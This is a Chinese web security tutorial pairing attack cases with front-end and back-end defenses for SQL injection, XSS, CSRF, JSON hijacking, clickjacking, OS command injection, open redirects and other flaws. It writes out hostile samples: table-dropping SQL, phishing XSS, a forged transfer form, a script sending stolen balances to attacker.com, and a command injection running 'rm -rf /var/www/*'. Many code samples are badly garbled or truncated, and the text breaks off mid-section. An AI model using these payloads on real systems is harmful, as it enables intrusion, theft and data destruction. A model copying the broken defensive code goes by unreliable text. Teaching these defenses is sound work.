Web常见安全漏洞全解析(含案例+前后端实操防御方案)

Web常见安全漏洞全解析(含案例+前后端实操防御方案)

目录

  1. SQL注入
  2. XSS攻击(跨站脚本攻击)
  3. CSRF攻击(跨站请求伪造)
  4. DDoS攻击(分布式拒绝服务攻击)
  5. DNS劫持
  6. JSON劫持
  7. 点击劫持
  8. OS命令注入
  9. URL跳转漏洞
  10. 其他常见漏洞

1. SQL注入

1.1 核心说明

  • 定义:攻击者将SQL语句片段注入请求参数/表单,后端未做校验直接拼接执行,导致数据库数据泄露、篡改或删除。
  • 触发条件 :后端未过滤特殊字符(';or--等),直接通过字符串拼接构造SQL语句。

1.2 典型攻击案例

案例1:窃取全量用户数据
  • 前端请求:GET /api/user?id=1' OR '1'='1
  • 后端原始SQL:select id, username, password from t_user where id='${id}'
  • 注入后SQL:select id, username, password from t_user where id='1' OR '1'='1'
  • 后果:返回用户表所有数据,若密码未加密则直接泄露。
案例2:万能登录(越权访问)
  • 登录表单:用户名输入admin' --,密码任意填写
  • 后端原始SQL:select * from t_admin where username='${username}' and password='${password}'
  • 注入后SQL:select * from t_admin where username='admin' --' and password='xxx'
  • 后果:--注释密码校验逻辑,无需正确密码即可登录管理员账号。
案例3:恶意删表(高危破坏)
  • 前端请求:GET /api/delete?orderId=1; DROP TABLE t_user; --
  • 后端原始SQL:delete from t_order where id=${orderId}
  • 注入后SQL:delete from t_order where id=1; DROP TABLE t_user; --
  • 后果:删除订单数据的同时,删除用户表,导致数据永久丢失。

1.3 防御方案(前后端协同)

(1)后端核心防御(必做)
防御措施 实操步骤(代码示例)
参数化查询 Java(PreparedStatement): javaString sql = "select * from t_user where id=?"; pstmt = conn.prepareStatement(sql);.setInt(1, Integer.parseInt(id)); // 自动转义特殊字符ResultSet rs = pstmt.executeQuery();<br>Node.js(Sequelize):<br>javascriptconst user = await User.findOne({ where: { id: id } }); // 内置参数化
输入字符过滤 编写过滤函数拦截非法字符:>```java String filterSql(String input) { (input == null) return ""; 过滤SQL关键字及特殊字符.replaceAll("[';\-\+\/\(\)\[\]orANDUNIONDROP]", "");}
敏感字段加密 密码使用BCrypt不可逆加密存储:javawd = "user123"; encryptedPwd = BCrypt.hashpw(rawPwd, BCrypt.gensalt()); // 加密后存储>// 校验:BCrypt.checkpw(rawPwd, encryptedPwd)```
(2)前端辅助防御
  • 输入格式校验:ID仅允许数字,用正则限制:

    javascript 复制代码
    const validateId = (value) => /^\d+$/.test(value) || alert("ID仅允许输入数字");
  • 关键字拦截:提交前检测输入是否含ordrop等SQL关键字,直接拦截。


2. XSS攻击(跨站脚本攻击)

2.1 核心说明

  • 定义:攻击者将恶意JS脚本注入网页,用户浏览时脚本执行,窃取Cookie、篡改页面或诱导操作。
  • 分类
    • 反射型:脚本通过URL参数注入,后端未过滤直接返回页面(一次性攻击);
    • 存储型:脚本存入数据库(如评论、私信),用户加载页面时触发(持久化攻击);
    • DOM型:前端未校验用户输入,直接通过DOM渲染执行脚本(前端漏洞)。
  • 触发条件 :前后端未对用户输入的特殊字符(<>"等)转义,直接渲染页面。

2.2 典型攻击案例

案例1:反射型XSS(窃取Cookie)
案例2:存储型XSS(评论区钓鱼)
  • 攻击者在评论区提交:=x onerror="alert('请登录查看完整内容');window.location.href='https://fake-login.com'">
  • 后端未过滤直接存入数据库,其他用户查看评论时脚本执行;
  • 后果:诱导用户跳转到钓鱼网站,泄露账号密码。
案例3:DOM型XSS(前端漏洞)
  • 前端代码:document.getElementById('content').innerHTML = location.hash.slice(1);
  • 攻击者构造链接:http://example.com/#document.body.innerHTML='1>网站维护,请点击<a href="https://fake-pay.com">备份数据</a></h1>'</script>
  • 后果:页面被篡改,诱导用户点击钓鱼链接。

2.3 防御方案(前后端协同)

(1)后端核心防御
防御措施 实操步骤(代码示例)
输入转义 编写HTML转义函数: ```java>public static String escapeHtml(String input) { if (input == null) return ""; input = input.replaceAll("&", "&"); = input.replaceAll(" "<");> input = input.replaceAll(">", ">"); input = input.replaceAll(""", """); input = input.replaceAll("'", "'"); return input; }:接收参数后先转义再存储/渲染>String safeKey = escapeHtml(request.getParameter("key"));
HttpOnly Cookie 禁止JS读取敏感Cookie:```java = new Cookie("sessionId", "abc123xyz");.setHttpOnly(true); // 核心配置.setSecure(true); // 仅HTTPS传输(生产必配)cookie.setPath("/"); response.addCookie(cookie);
(2)前端核心防御
  • 避免使用innerHTML渲染用户输入,改用textContent

    javascript 复制代码
    // 危险:document.getElementById('content').innerHTML = userInput;
    // 安全:document.getElementById('content').textContent = userInput;
  • 第三方组件漏洞检测:使用npm audit扫描依赖,避免使用存在XSS漏洞的老旧组件;

  • 输入长度限制:评论、搜索框等限制最大长度(如500字),减少脚本注入空间。


3. CSRF攻击(跨站请求伪造)

3.1 核心说明

  • 定义:利用用户已登录的会话状态,诱导用户点击恶意链接,发起跨域请求(如转账、改密码),冒充用户操作。
  • 触发条件
    1. 用户已登录目标网站(会话Cookie有效);
    2. 用户访问攻击者构造的恶意页面/链接。
  • 攻击本质:浏览器自动携带目标网站Cookie,服务器误判为用户本人操作。

3.2 典型攻击案例(转账场景)

  • 场景:用户已登录银行网站https://bank.example.com(Cookie有效);

  • 攻击者构造恶意页面(隐藏表单):

    html 复制代码
    ="https://bank.example.com/api/transfer" method="POST" id="csrfForm">
      ="hidden" name="toAccount" value="attacker123">
       name="amount" value="10000">
      ('csrfForm').submit();
  • 诱导用户点击该页面,浏览器自动携带银行Cookie发起转账请求;

  • 后果:银行未做CSRF校验,转账成功,用户资金损失。

3.3 防御方案(后端为主,前端辅助)

(1)后端核心防御(必做)
防御措施 实操步骤(代码示例)
Anti-CSRF Token 1. 页面加载时生成随机Token:javatransfer-page") String transferPage(HttpSession session, Model model) { String csrfToken = UUID.randomUUID().toString(); session.setAttribute("csrfToken", csrfToken);> model.addAttribute("csrfToken", csrfToken); // 传递给前端> return "transfer"; }前端表单携带Token:<br>html>transfer" method="POST"> ="hidden" name="csrfToken" value="${csrfToken}"> ">转账> 3. 后端校验Token:>javaPostMapping("/api/transfer")(@RequestParam String csrfToken, HttpSession session) { serverToken = (String) session.getAttribute("csrfToken");<br> if (!csrfToken.equals(serverToken)) { new RuntimeException("CSRF攻击:Token校验失败");<br> }> // 执行转账逻辑success";<br>}<br>
SameSite Cookie 设置Cookie跨域限制: javaookie cookie = new Cookie("sessionId", "abc123");cookie.setSameSite("Strict"); // 仅同域请求携带Cookie.addCookie(cookie);<br>
核心操作加验证码 转账、改密码等操作要求输入短信验证码/图形验证码,强制用户手动确认。
(2)前端辅助防御
  • Axios全局携带CSRF Token:

    javascript 复制代码
    // 请求拦截器
    axios.interceptors.request.use(config => {
      const csrfToken = getCookie('csrfToken'); // 读取非HttpOnly的Token
      if (csrfToken) config.headers['X-CSRF-Token'] = csrfToken;
      return config;
    });
  • 核心操作添加确认弹窗:

    javascript 复制代码
    const handleTransfer = () => {
      if (!confirm(`确认向${toAccount}转账${amount}元?`)) return;
      // 提交转账请求
    };

4. DDoS攻击(分布式拒绝服务攻击)

4.1 核心说明

  • 定义:攻击者控制多台设备(僵尸网络)向目标服务器发送海量无效请求,耗尽带宽、CPU、内存资源,导致合法用户无法访问。
  • 常见攻击类型
    • HTTP Flood:海量HTTP请求(如反复刷新)压垮Web服务器;
    • SYN Flood:伪造TCP连接请求,耗尽服务器连接队列;
    • UDP Flood:海量UDP数据包占用带宽。

4.2 典型攻击案例

案例:HTTP Flood攻击(Web服务瘫痪)
  • 攻击者控制1000台僵尸机,每台每秒发送100个GET /index.html请求;
  • 目标服务器QPS瞬间达10万+,CPU占用率100%,内存耗尽;
  • 后果:合法用户访问网站时超时,服务完全不可用。

4.3 防御方案(多层防护,运维+开发协同)

(1)基础设施层(运维负责,核心防护)
防御措施 实操步骤
部署CDN 1. 接入Cloudflare/阿里云CDN,更改域名DNS指向CDN;. 开启"攻击模式",自动过滤恶意请求; 静态资源(图片、JS、CSS)直接从CDN返回,减轻源服务器压力。
配置高防IP 1. 购买阿里云/腾讯云高防IP,绑定源服务器; 2. 开启"SYN Flood防护""HTTP Flood防护",设置清洗阈值(如单IP每秒500次请求触发清洗)。
Nginx限流 配置Nginx限制单IP请求频率: ```nginx>http { limit_req_zone $binary_remote_addr zone=one:10m rate=100r/s; server { listen 80;_name example.com; limit_req zone=one burst=10 nodelay; // 1秒最多100请求,缓存10个 limit_conn addr 20; // 单IP最大20个并发连接 }>}
(2)后端防御(开发负责)
  • 分布式限流(Redis实现):

    java 复制代码
    @Component
    public class RedisLimiter {
      @Autowired
      private StringRedisTemplate redisTemplate;
      // 接口限流:key=接口名,limit=每秒最大请求数
      public boolean limit(String key, int limit) {
        String redisKey = "limiter:" + key;
        Long count = redisTemplate.opsForValue().increment(redisKey, 1);
        if (count == 1) redisTemplate.expire(redisKey, 1, TimeUnit.SECONDS);
        return count 
    }
    // 接口使用
    @GetMapping("/api/core")
    public String coreApi() {
      if (!redisLimiter.limit("coreApi", 50)) {
        return "请求过于频繁,请稍后再试";
      }
      // 业务逻辑
      return "success";
    }
  • 服务降级:非核心接口(如评论、推荐)触发限流时返回降级提示,优先保障登录、支付等核心功能。

(3)前端防御
  • 按钮节流:避免用户高频点击触发重复请求:

    javascript 复制代码
    const throttle = (fn, delay = 1000) => {
      let lastTime = 0;
      return (...args) => {
        const now = Date.now();
        if (now - lastTime >= delay) {
          lastTime = now;
          fn.apply(this, args);
        }
      };
    };
    // 按钮点击事件绑定节流
    const handleClick = throttle(() => {
      axios.get("/api/core");
    });
  • 静态资源CDN部署:将图片、CSS、JS等静态资源上传至阿里云OSS,通过CDN加速访问,避免源服务器处理静态资源请求。


5. DNS劫持

5.1 核心说明

  • 定义:攻击者篡改DNS解析结果,将域名指向恶意IP(如钓鱼网站),导致用户访问虚假网站而非真实服务器。
  • 常见劫持方式:DNS缓存污染、ARP欺骗、路由器DNS篡改、本机Hosts文件篡改。
  • 触发条件:用户使用不安全的DNS服务器、路由器未设密码、设备感染恶意软件。

5.2 典型攻击案例

案例1:钓鱼网站劫持(资金诈骗)
  • 正常解析:www.bank-example.com → 真实IP 10.0.0.1(官方银行网站);
  • 劫持后解析:www.bank-example.com → 恶意IP 203.0.113.10(钓鱼网站);
  • 攻击过程:攻击者通过ARP欺骗篡改路由器DNS缓存,用户访问银行官网时被导向仿冒页面;
  • 后果:用户在钓鱼网站输入银行卡号、密码、验证码,全部被攻击者窃取,导致资金损失。
案例2:本机Hosts劫持(信息泄露)
  • 攻击者通过恶意软件修改用户电脑Hosts文件(Windows:C:\Windows\System32\drivers\etc\hosts):

    复制代码
    203.0.113.10  www.example.com
  • 用户访问www.example.com时,直接解析到恶意IP,打开仿冒的登录页面;

  • 后果:用户误以为是官方网站,输入账号密码后被攻击者获取。

5.3 防御方案(多层防护,运维+用户+开发协同)

(1)基础设施层(运维负责)
防御措施 实操步骤
配置多域名备份 1. 注册备用域名(如主域example.com,备用域example-cn.com); 主域被劫持时,通过官方渠道(微信公众号、短信)通知用户切换备用域;>3. 备用域绑定独立服务器,避免同时被劫持。
启用DNSSEC 1. 在域名服务商(阿里云DNS、Cloudflare)开启DNSSEC功能; 2. 生成密钥对(公钥+私钥),将公钥提交至域名注册商;. 效果:DNS服务器会验证解析结果的数字签名,篡改后的解析会被拒绝。
定期检测DNS解析 1. 使用nslookup/dig工具定期校验解析结果: nslookup www.example.com # 查看当前解析IP.example.com @8.8.8.8 # 用谷歌DNS验证(对比是否一致)```发现异常时,立即联系域名服务商重置DNS配置。
(2)开发层防御
  • 强制使用HTTPS并配置HSTS:

    java 复制代码
    // Spring Boot全局配置HSTS(强制浏览器用HTTPS访问)
    @Configuration
    public class WebConfig implements WebMvcConfigurer {
      @Override
      public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new HandlerInterceptor() {
          @Override
          public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) {
            // max-age=31536000:1年有效期,includeSubDomains:包含子域名
            resp.setHeader("Strict-Transport-Security", "max-age=31536000; includeSubDomains");
            return true;
          }
        });
      }
    }
  • 效果:即使DNS劫持到恶意IP,浏览器也会因HTTPS证书不匹配提示"不安全",阻止用户访问。

(3)用户层防御
  • 手动修改DNS服务器:
    • Windows:网络属性 → IPv4属性 → DNS服务器填写223.5.5.5(阿里云DNS)或8.8.8.8(谷歌DNS);
    • Mac:系统设置 → 网络 → 高级 → DNS → 添加可信DNS;
    • 路由器:登录管理后台(如192.168.1.1),在DNS设置中配置可信地址。
  • 检查并保护Hosts文件:
    • Windows:打开C:\Windows\System32\drivers\etc\hosts,删除非官方添加的解析记录;
    • 为Hosts文件设置只读权限(右键 → 属性 → 安全 → 拒绝"写入"权限)。

6. JSON劫持

6.1 核心说明

  • 定义:攻击者利用跨域请求特性,诱导用户访问恶意页面,窃取目标网站返回的JSON敏感数据(如用户余额、个人信息)。
  • 触发条件
    1. 目标网站仅通过Cookie验证请求合法性,未限制跨域JSON读取;
    2. 攻击者通过<script>标签加载JSON接口(浏览器允许跨域加载脚本)。
  • 攻击本质>标签加载JSON后自动解析为JS对象,攻击者通过重写对象原型窃取数据。

6.2 典型攻击案例(窃取用户余额)

  • 目标网站接口(已登录用户可访问):https://example.com/api/user/info,返回JSON:

    json 复制代码
    {"uid":123,"username":"test","balance":5000}
  • 攻击者构造恶意页面:

    html 复制代码
    >
    
         // 重写Object原型的setter,窃取balance字段
        Object.prototype.__defineSetter__('balance', function(value) {
          // 将余额和UID发送到攻击者服务器
          new Image().src = `https://attacker.com/steal?uid=${this.uid}&balance=${value}`;
        });
      </script>
       跨域加载目标网站JSON接口,浏览器自动解析为JS对象 -->
      example.com/api/user/info"></script>
    </body>
    >
  • 诱导已登录用户访问该恶意页面,浏览器自动携带目标网站Cookie,请求JSON接口;

  • 后果:用户的UID和余额被发送到攻击者服务器,敏感信息泄露。

6.3 防御方案(后端核心,前端辅助)

(1)后端核心防御(必做)
防御措施 实操步骤(代码示例)
JSON添加安全前缀 1. 后端返回JSON时,添加while(1);前缀(阻止<script>标签解析): Java示例: java>@GetMapping("/api/user/info") String getUserInfo() {<br> UserInfo user = new UserInfo(123, "test", 5000);<br> String json = new ObjectMapper().writeValueAsString(user);> return "while(1);" + json; // 添加前缀<br>}<br>2. 前端解析时去除前缀:```javascript("/api/user/info").then(res => {> const safeJson = res.data.replace("while(1);", ""); // 去除前缀 const userInfo = JSON.parse(safeJson);>}); 3. 效果:恶意页面通过<script>加载时,会因while(1);进入死循环,无法解析JSON。
校验Referer/Origin 1. 后端拦截JSON接口,仅允许本站或可信域名访问: ```java>@GetMapping("/api/user/info") String getUserInfo(HttpServletRequest request) { String referer = request.getHeader("Referer"); String origin = request.getHeader("Origin"); // 校验Referer/Origin是否为可信域名(如example.com) if (referer == null
(2)前端辅助防御
  • 避免通过>标签加载敏感JSON接口,统一使用AJAX/Fetch请求;
  • 敏感JSON数据加密传输:后端返回加密后的JSON,前端解密后使用(如AES加密)。

7. 点击劫持

7.1 核心说明

  • 定义:攻击者将目标网站通过透明iframe嵌入恶意页面,诱导用户点击"虚假按钮"(实际点击iframe中的目标网站按钮),完成非预期操作(如点赞、转账、授权)。
  • 攻击特点:隐蔽性强(iframe透明)、视觉欺骗(虚假按钮覆盖真实按钮)。
  • 触发条件:目标网站未限制被iframe嵌入,或未对嵌入来源做校验。

7.2 典型攻击案例(冒充用户点赞/关注)

  • 场景:用户已登录社交网站https://social.example.com(会话有效);

  • 攻击者构造恶意页面:

    html 复制代码
    DOCTYPE html>
    <html>
    >
      /* iframe透明,覆盖在虚假按钮上方 */
      #targetIframe {
        position: absolute;
        top: 0;
        left: 0;
        width: 200px;
        height: 50px;
        opacity: 0.01; /* 透明不可见 */
        z-index: 10;
      }
      /* 虚假按钮,诱导用户点击 */
      #fakeBtn {
        position: absolute;
        top: 0;
        left: 0;
        width: 200px;
        height: 50px;
        background: #ff0000;
        color: white;
        font-size: 16px;
        line-height: 50px;
        text-align: center;
      }
    </style>
    <body>
       id="fakeBtn">领取100元红包</div>
      嵌入目标网站的"关注"按钮页面 -->
      rame" src="https://social.example.com/follow?userId=attacker">>
  • 诱导用户点击"领取100元红包"按钮,实际点击的是iframe中的"关注"按钮;

  • 后果:用户在不知情的情况下关注了攻击者账号,攻击者借此涨粉或传播恶意内容。

7.3 防御方案(后端为主,前端辅助)

(1)后端核心防御(必做)
防御措施 实操步骤(代码示例)
配置X-Frame-Options响应头 1. Spring Boot全局配置: java@ConfigurationConfig implements WebMvcConfigurer {Override addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) {> // DENY:禁止任何网站iframe嵌入;SAMEORIGIN:仅允许本站嵌入 resp.setHeader("X-Frame-Options", "DENY");> return true;> } }); }<br>}>. Nginx配置: nginxserver { listen 80;> server_name example.com; X-Frame-Options DENY;<br>}>
(2)前端辅助防御
  • JS校验是否被iframe嵌入:

    javascript 复制代码
    // 页面加载时执行
    if (self !== top) {
      // 被iframe嵌入,跳转到自身域名(打破iframe)
      top.location.href = self.location.href;
      // 或隐藏页面内容
      document.body.style.display = "none";
      alert("禁止通过iframe访问本站");
    }
  • 核心操作按钮添加二次确认:

    javascript 复制代码
    const handleFollow = () => {
      if (!confirm("确认关注该用户吗?")) return;
      // 执行关注逻辑
    };

8. OS命令注入

8.1 核心说明

  • 定义:攻击者将操作系统命令片段注入请求参数,后端未做校验直接拼接执行,导致服务器被控制(如删除文件、查看敏感信息)。
  • 触发条件 :后端通过exec()system()等函数执行系统命令,且直接拼接用户输入的参数。
  • 常见场景:文件下载、服务器监控、第三方工具调用(如Git、FFmpeg)。

8.2 典型攻击案例(删除服务器文件)

  • 场景:后端提供"下载Git仓库"功能,参数为用户输入的仓库地址;

  • 后端Node.js代码(危险写法):

    javascript 复制代码
    const exec = require('child_process').exec;
    app.get('/download-repo', (req, res) => {
      const repo = req.query.repo; // 用户输入的仓库地址
      // 直接拼接命令执行
      exec(`git clone ${repo} /var/www/repos`, (err, stdout, stderr) => {
        if (err) return res.send("下载失败");
        res.send("下载成功");
      });
    });
  • 攻击者构造请求:GET /download-repo?repo=https://github.com/xxx/xxx.git && rm -rf /var/www/* &&

  • 拼接后执行的命令:git clone https://github.com/xxx/xxx.git && rm -rf /var/www/* && /var/www/repos

  • 后果:rm -rf /var/www/*删除网站根目录所有文件,导致服务瘫痪。

8.3 防御方案(后端核心,前端辅助)

(1)后端核心防御(必做)
防御措施 实操步骤(代码示例)
避免直接拼接命令 使用参数化命令执行工具,禁止字符串拼接:.js示例(使用execFile,仅接收数组参数):javascriptFile = require('child_process').execFile;app.get('/download-repo', (req, res) => { const repo = req.query.repo; 参数以数组形式传入,自动转义特殊字符> execFile('git', ['clone', repo, '/var/www/repos'], (err, stdout, stderr) => { if (err) return res.send("下载失败");<br> res.send("下载成功");> });});<br> Java示例(使用ProcessBuilder): ```java>ProcessBuilder pb = new ProcessBuilder("git", "clone", repo, "/var/www/repos");>Process process = pb.start();
输入严格过滤 编写过滤函数,仅允许合法字符(如字母、数字、/:-): javascriptconst validateRepo = (repo) => { const reg = /^https?:\/\/[a-zA-Z0-9.-]+\/[a-zA-Z0-9_-]+\/[a-zA-Z0-9_-]+\.git$/;.test(repo);>};:validateRepo(repo)) {<br> return res.send("非法仓库地址");<br>}
使用第三方转义库 Node.js使用shell-escape库转义参数: ```javascriptconst shellEscape = require('shell-escape');>const cmd = git clone ${shellEscape([repo])} /var/www/repos;(cmd, (err, stdout, stderr) => { ... });
最小权限运行 Web应用进程以普通用户权限运行(如www-data),禁止root权限;限制命令执行目录的写入权限,避免恶意修改系统文件。
(2)前端辅助防御
  • 输入格式校验:仅允许输入合法的仓库地址格式(如https://github.com/xxx/xxx.git),用正则拦截非法字符;
  • 限制参数长度:仓库地址输入框限制最大长度为200字符,避免传入过长的恶意命令字符串。

9. URL跳转漏洞

9.1 核心说明

  • 定义:攻击者构造含恶意URL的跳转链接,诱导用户点击,通过目标网站的跳转功能跳转到钓鱼网站,窃取用户信息或诱导操作。
  • 触发条件 :后端未校验跳转URL的合法性,直接根据用户传入的redirecturl等参数执行跳转。
  • 常见场景:登录后跳转、分享链接跳转、活动页面跳转。

9.2 典型攻击案例(钓鱼网站诱导)

  • 场景:目标网站登录后支持跳转回原页面,跳转参数为redirecthttps://example.com/login?redirect=/user/home
  • 攻击者构造恶意链接:https://example.com/login?redirect=https://fake-login.com
  • 诱导用户点击该链接,用户登录成功后,被自动跳转到https://fake-login.com(钓鱼网站);
  • 钓鱼网站仿冒目标网站的"完善个人信息"页面,诱导用户输入银行卡号、验证码,导致信息泄露。

9.3 防御方案(后端核心,前端辅助)

(1)后端核心防御(必做)
防御措施 实操步骤(代码示例)
白名单校验 仅允许跳转到本站域名或可信域名,拒绝其他域名跳转: Java示例: ```java@GetMapping("/login") public String login(@RequestParam(required = false) String redirect, HttpSession session) { // 已登录,执行跳转session.getAttribute("user") != null) { // 白名单:仅允许本站域名和可信合作伙伴域名 allowDomains = Arrays.asList("example.com", "partner-example.com"); if (redirect != null && !redirect.isEmpty()) { // 解析跳转URL的域名 = getDomain(redirect); if (allowDomains.contains(domain)
添加跳转Token 1. 生成跳转Token并与URL绑定:>javaGetMapping("/get-redirect-url")RedirectUrl(HttpSession session) { targetUrl = "/user/home"; token = UUID.randomUUID().toString(); // 存储Token与目标URL的映射(有效期5分钟) session.setAttribute("redirect_token_" + token, targetUrl);<br> return "/login?redirect_token=" + token;<br>}>. 跳转时校验Token: @GetMapping("/login")(@RequestParam String redirect_token, HttpSession session) { String targetUrl = (String) session.getAttribute("redirect_token_" + redirect_token); if (targetUrl != null) { session.removeAttribute("redirect_token_" + redirect_token); // 一次性使用 return "redirect:" + targetUrl; } "redirect:/user/home"; }```
限制相对路径跳转 仅允许跳转至本站相对路径(如/user/home),禁止绝对路径(如https://xxx.com):>```java (redirect.startsWith("http://")
(2)前端辅助防御
  • 跳转前弹窗提醒:若跳转目标为外部域名,弹出确认提示:
    javascriptconst handleRedirect = (redirectUrl) => {> if (redirectUrl.startsWith("http://") || redirectUrl.startsWith("https://")) { if (!confirm("即将跳转到外部网站,请注意安全!是否继续?")) {<br> return;<br> }> } window.location.href = redirectUrl;<br>};<br>
  • 前端过滤非法跳转URL:拦截含fakephish等关键词的URL,或直接拦截非白名单域名的跳转。

10. 其他常见漏洞

10.1 暴力破解

10.1.1 核心说明
  • 定义 :攻击者使用工具枚举用户名+密码(如弱密码123456admin@123),尝试登录系统,获取账号控制权。
  • 触发条件:系统未限制登录尝试次数、未启用验证码、用户使用弱密码。
10.1.2 典型攻击案例(账号被盗)
  • 攻击者获取目标网站的用户名列表(如通过信息泄露、注册接口枚举);
  • 使用暴力破解工具(如Hydra),对每个用户名尝试1000个常见弱密码;
  • 若系统未限制尝试次数,攻击者成功破解弱密码账号,登录后窃取用户信息或进行恶意操作(如发布垃圾信息)。
10.1.3 防御方案(后端核心,前端辅助)
防御措施 实操步骤(代码示例)
限制登录尝试次数 1. Redis记录用户登录失败次数: ```java@PostMapping("/login") public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {> String redisKey = "login_fail_" + username;Count = redisTemplate.opsForValue().get(redisKey); if (failCount != null && failCount >= 5) { return "登录失败次数过多,请10分钟后再试"; } 校验用户名密码 if ("admin".equals(username) && "StrongPwd123!".equals(password)) {> redisTemplate.delete(redisKey); // 登录成功,清除失败次数> session.setAttribute("user", username); return "redirect:/user/home"; } else { // 登录失败,累加次数,设置10分钟过期Template.opsForValue().increment(redisKey, 1); redisTemplate.expire(redisKey, 10, TimeUnit.MINUTES); "用户名或密码错误"; } }
登录验证码 1. 失败3次后要求输入图形验证码:javafailCount != null && failCount >= 3) {<br> String captcha = request.getParameter("captcha"); String sessionCaptcha = (String) session.getAttribute("captcha"); if (!captcha.equalsIgnoreCase(sessionCaptcha)) {<br> return "验证码错误"; }<br>}>. 图形验证码生成(使用Kaptcha): ```java>@BeanKaptcha getDefaultKaptcha() {> DefaultKaptcha captcha = new DefaultKaptcha(); Properties props = new Properties();.setProperty("kaptcha.border", "no"); props.setProperty("kaptcha.textproducer.char.length", "4"); config = new Config(props); captcha.setConfig(config);> return captcha; }
强制强密码策略 注册/改密码时要求密码复杂度(字母+数字+特殊字符,长度≥8): const validatePassword = (pwd) => { const reg = /^(?=.[a-z])(?=. [A-Z])(?=.\d)(?=. [@ ! !%*?&])[A-Za-z\d@ !!%*?&]{8,}$/; return reg.test(pwd)

10.2 HTTP报头追踪漏洞(TRACE方法)

10.2.1 核心说明
  • 定义:HTTP TRACE方法用于调试,服务器会返回完整的请求头(含Cookie、Session Token),攻击者可利用此窃取敏感信息。
  • 触发条件:Web服务器启用了HTTP TRACE方法。
10.2.2 典型攻击案例(窃取Cookie)
  • 攻击者向目标服务器发送TRACE请求:
    bash>curl -X TRACE https://example.com<br>
  • 服务器启用TRACE后,返回响应包含完整请求头:
    >TRACE / HTTP/1.1 example.com sessionId=abc123xyz; uid=123<br>...<br>
  • 攻击者获取到sessionId后,可冒充用户登录系统。
10.2.3 防御方案(服务器层核心)
防御措施 实操步骤
禁用TRACE方法 1. Nginx配置: ```nginx>server { listen 80; server_name example.com; 禁用TRACE、TRACK方法request_method ~* "TRACE

10.3 信息泄露

10.3.1 核心说明
  • 定义:应用程序未正确处理报错或配置不当,泄露服务器版本、数据库信息、源代码片段、用户敏感数据等。
  • 常见泄露途径:报错页面显示异常堆栈、robots.txt暴露敏感路径、HTTP响应头泄露软件版本、日志文件未脱敏。
10.3.2 典型攻击案例(报错信息泄露)
  • 后端代码未捕获异常,报错时返回完整堆栈:
    >HTTP/1.1 500 Internal Server Errorcat/8.5.61<br>...<br>java.sql.SQLException: Access denied for user 'root'@'localhost' (using password: YES)<br>at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)<br>at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3976)<br>...
  • 攻击者获取到数据库用户名(root)、服务器软件版本(Tomcat/8.5.61),为后续攻击做准备。
10.3.3 防御方案(多层协同)
防御措施 实操步骤
统一错误页面 1. Spring Boot配置生产环境错误页面:>yaml: prod:ception-if-no-handler-found: true web::appings: false:<br> error:<br> path: /errorabel:: false<br> 2. 自定义错误页面(src/main/resources/public/error/500.html),不显示任何技术细节。
隐藏软件版本 1. Nginx配置:nginx http { server_tokens off; // 隐藏Nginx版本 }```Tomcat配置(conf/server.xml):`
日志脱敏 日志中屏蔽敏感信息(手机号、身份证、密码): ```java>// 使用日志脱敏工具类 public class LogDesensitizer { // 手机号脱敏:138****1234 String desensitizePhone(String phone) { if (phone == null) return ""; return phone.replaceAll("(\d{3})\d{4}(\d{4})", "1**** 2"); }>}输出:.info("用户登录:手机号={}", LogDesensitizer.desensitizePhone(phone));
限制robots.txt 编辑robots.txt,禁止搜索引擎抓取敏感路径:```: *allow: /admin/>Disallow: /api/ /config/

10.4 目录遍历漏洞

10.4.1 核心说明
  • 定义 :攻击者通过URL注入../..\或其编码(如%2e%2e%2f),访问服务器未授权目录(如/etc/passwd/root/.ssh),窃取敏感文件。
  • 触发条件 :后端未过滤路径中的../字符,直接拼接
相关推荐
_AaronWong41 分钟前
Electron 实现仿豆包划词取词功能:从 AI 生成到落地踩坑记
前端·javascript·vue.js
cxxcode41 分钟前
I/O 多路复用:从浏览器到 Linux 内核
前端
用户5433081441941 小时前
AI 时代,前端逆向的门槛已经低到离谱 — 以 Upwork 为例
前端
JarvanMo1 小时前
Flutter 版本的 material_ui 已经上架 pub.dev 啦!快来抢先体验吧。
前端
恋猫de小郭1 小时前
AI 可以让 WIFI 实现监控室内人体位置和姿态,无需摄像头?
前端·人工智能·ai编程
哀木1 小时前
给自己整一个 claude code,解锁编程新姿势
前端
程序员鱼皮1 小时前
GitHub 关注突破 2w,我总结了 10 个涨星涨粉技巧!
前端·后端·github
UrbanJazzerati2 小时前
Vue3 父子组件通信完全指南
前端·面试
是一碗螺丝粉2 小时前
5分钟上手LangChain.js:用DeepSeek给你的App加上AI能力
前端·人工智能·langchain
wuhen_n2 小时前
双端 Diff 算法详解
前端·javascript·vue.js